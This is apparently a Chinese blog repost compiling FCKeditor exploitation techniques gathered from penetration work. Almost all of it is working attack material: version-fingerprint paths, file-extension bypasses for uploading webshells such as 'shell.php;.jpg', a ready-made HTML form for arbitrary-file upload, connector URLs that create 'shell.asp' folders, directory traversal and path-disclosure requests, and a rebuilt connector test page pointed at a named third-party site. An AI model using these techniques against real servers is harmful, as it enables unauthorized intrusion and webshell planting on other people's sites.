zoukankan      html  css  js  c++  java
  • FCKeditor漏洞利用

    FCKeditor漏洞利用
    查看编辑器版本
    FCKeditor/_whatsnew.html
    fckeditor/editor/dialog/fck_about.html
    —————————————————————————————————————————————————————————————

    2. Version 2.2 版本
    Apache+linux 环境下在上传文件后面加个.突破!测试通过。
    —————————————————————————————————————————————————————————————
    3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
    <form id="frmUpload" enctype="multipart/form-data"
    action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
    <input type="file" name="NewFile" size="50"><br>
    <input id="btnUpload" type="submit" value="Upload">
    </form>

    —————————————————————————————————————————————————————————————

    4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
    很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
    4.1:提交shell.php+空格绕过
    不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
    —————————————————————————————————————————————————————————————

    5. 突破建立文件夹
    FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&amp;Type=Image&amp;CurrentFolder=%2Fshell.asp&amp;NewFolderName=z&amp;uuid=1244789975684
    FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&amp;CurrentFolder=/&amp;Type=Image&amp;NewFolderName=shell.asp
    FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=../../
    —————————————————————————————————————————————————————————————

    6. FCKeditor 中test 文件的上传地址
    FCKeditor/editor/filemanager/browser/default/connectors/test.html
    FCKeditor/editor/filemanager/upload/test.html
    FCKeditor/editor/filemanager/connectors/test.html
    FCKeditor/editor/filemanager/connectors/uploadtest.html
    —————————————————————————————————————————————————————————————

    7.常用上传地址
    FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=/
    FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&amp;connector=connectors/asp/connector.asp
    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
    JSP 版:
    FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;Connector=connectors/jsp/connector.jsp
    注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
    件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
    —————————————————————————————————————————————————————————————

    8.其他上传地址
    FCKeditor/_samples/default.html
    FCKeditor/_samples/asp/sample01.asp
    FCKeditor/_samples/asp/sample02.asp
    FCKeditor/_samples/asp/sample03.asp
    FCKeditor/_samples/asp/sample04.asp
    一般很多站点都已删除_samples 目录,可以试试。
    FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
    —————————————————————————————————————————————————————————————

    9.列目录漏洞也可助找上传地址
    Version 2.4.1 测试通过
    修改CurrentFolder 参数使用 ../../来进入不同的目录
    /browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&amp;Type=Image&amp;CurrentFolder=../../..%2F&amp;NewFolderName=shell.asp
    根据返回的XML 信息可以查看网站所有的目录。
    FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=Image&amp;CurrentFolder=%2F
    也可以直接浏览盘符:
    JSP 版本:
    FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&amp;Type=&amp;CurrentFolder=%2F
    —————————————————————————————————————————————————————————————

    10.爆路径漏洞
    FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=File&amp;CurrentFolder=/shell.asp
    FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php(支持php的通杀)
    /FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&amp;connector=connectors/aspx/connector.aspx 2.5可突破

    FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;Type=File&amp;CurrentFolder=/shell.asp

    —————————————————————————————————————————————————————————————

    11. FCKeditor 被动限制策略所导致的过滤不严问题
    影响版本: FCKeditor x.x 脆弱描述:
    FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
    html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
    Fckeditor 2.0 而在apache 下,因为”Apache 文件名解析缺陷漏洞”也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
    在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
    —————————————————————————————————————————————————————————————

    12.最古老的漏洞,Type文件没有限制!
    我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
    —————————————————————————————————————————————————————————————
    13、Version &lt; =2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
    <form id="frmUpload" action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post" enctype="multipart/form-data">Upload a new file:
    <input type="file" name="NewFile" size="50" />
    <input id="btnUpload" type="submit" value="Upload" /></form>

    14、本地构造test文件
    <!--
    * FCKeditor - The text editor for Internet - http://www.fckeditor.net
    * Copyright (C) 2003-2007 Frederico Caldeira Knabben
    *
    * == BEGIN LICENSE ==
    *
    * Licensed under the terms of any of the following licenses at your
    * choice:
    *
    * - GNU General Public License Version 2 or later (the "GPL")
    * http://www.gnu.org/licenses/gpl.html
    *
    * - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
    * http://www.gnu.org/licenses/lgpl.html
    *
    * - Mozilla Public License Version 1.1 or later (the "MPL")
    * http://www.mozilla.org/MPL/MPL-1.1.html
    *
    * == END LICENSE ==
    *
    * Test page for the File Browser connectors.
    -->
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <title>FCKeditor - Connectors Tests</title>
    <script type="text/javascript">

    function BuildBaseUrl( command )
    {
    var sUrl =
    document.getElementById('cmbConnector').value +
    '?Command=' + command +
    '&Type=' + document.getElementById('cmbType').value +
    '&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;

    return sUrl ;
    }

    function SetFrameUrl( url )
    {
    document.getElementById('eRunningFrame').src = url ;

    document.getElementById('eUrl').innerHTML = url ;
    }

    function GetFolders()
    {
    SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
    return false ;
    }

    function GetFoldersAndFiles()
    {
    SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
    return false ;
    }

    function CreateFolder()
    {
    var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;

    if ( ! sFolder )
    return false ;

    var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
    sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;

    SetFrameUrl( sUrl ) ;
    return false ;
    }

    function OnUploadCompleted( errorNumber, fileName )
    {
    switch ( errorNumber )
    {
    case 0 :
    alert( 'File uploaded with no errors' ) ;
    break ;
    case 201 :
    GetFoldersAndFiles() ;
    alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
    break ;
    case 202 :
    alert( 'Invalid file' ) ;
    break ;
    default :
    alert( 'Error on file upload. Error number: ' + errorNumber ) ;
    break ;
    }
    }

    this.frames.frmUpload = this ;

    function SetAction()
    {
    var sUrl = BuildBaseUrl( 'FileUpload' ) ;
    document.getElementById('eUrl').innerHTML = sUrl ;
    document.getElementById('frmUpload').action = sUrl ;
    }

    </script>
    </head>
    <body>
    <table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
    <tr>
    <td>
    <table cellspacing="0" cellpadding="0" border="0">
    <tr>
    <td>
    Connector:<br />
    <select id="cmbConnector" name="cmbConnector">
    <option value="http://zjmyjs.com/editor/filemanager/connectors/asp/connector.asp" selected="selected">ASP</option>
    <option value="ASP.Net</option'>http://zjmyjs.com/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>
    <option value="cfm/connector.cfm">ColdFusion</option>
    <option value="lasso/connector.lasso">Lasso</option>
    <option value="perl/connector.cgi">Perl</option>
    <option value="PHP</option'>http://zjmyjs.com/editor/filemanager/connectors/php/connector.php">PHP</option>
    <option value="py/connector.py">Python</option>
    </select>
    </td>
    <td>
    </td>
    <td>
    Current Folder<br />
    <input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
    <td>
    </td>
    <td>
    Resource Type<br />
    <select id="cmbType" name="cmbType">
    <option value="File" selected="selected">File</option>
    <option value="Image">Image</option>
    <option value="Flash">Flash</option>
    <option value="Media">Media</option>
    <option value="Invalid">Invalid Type (for testing)</option>
    </select>
    </td>
    </tr>
    </table>
    <br />
    <table cellspacing="0" cellpadding="0" border="0">
    <tr>
    <td valign="top">
    <a href="#" onclick="GetFolders();">Get Folders</a></td>
    <td>
    </td>
    <td valign="top">
    <a href="#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>
    <td>
    </td>
    <td valign="top">
    <a href="#" onclick="CreateFolder();">Create Folder</a></td>
    <td>
    </td>
    <td valign="top">
    <form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
    File Upload<br />
    <input id="txtFileUpload" type="file" name="NewFile" />
    <input type="submit" value="Upload" onclick="SetAction();" />
    </form>
    </td>
    </tr>
    </table>
    <br />
    URL: <span id="eUrl"></span>
    </td>
    </tr>
    <tr>
    <td height="100%" valign="top">
    <iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
    height="100%"></iframe>
    </td>
    </tr>
    </table>
    </body>
    </html>

    以上方法都是网上收集和在平时渗透中所总结的经验,可能有些有遗漏,当再想起的时候再补充,也有自己没发现的就要靠各位大侠分享学习了!

    摘自:http://www.webshell.cc/260.html

  • 相关阅读:
    2015.2.27 UltraEdit中显示XML结构
    2015.1.31 DataGridView自动滚动到某行
    2015.1.15 利用函数实现将一行记录拆分成多行记录 (多年想要的效果)
    2015.1.15 利用Oracle函数返回表结果 重大技术进步!
    2015.1.15 利用Oracle函数插入表结构 Bulk collect into 不用循环,简洁高效
    2015.1.8 Left join 左连接
    2015.1.10 解决DataGridView SelectionChanged事件自动触发问题
    delphi 遍历窗口
    delphi 访问 protected 属性 哈哈
    clientdataset 读取excel 如果excel 文件不存在的时候 相应的gird 会不显示数据, 鼠标掠过 gird 格子 才会显示数据。 这是一个bug 哈哈
  • 原文地址:https://www.cnblogs.com/milantgh/p/4572346.html
Copyright © 2011-2022 走看看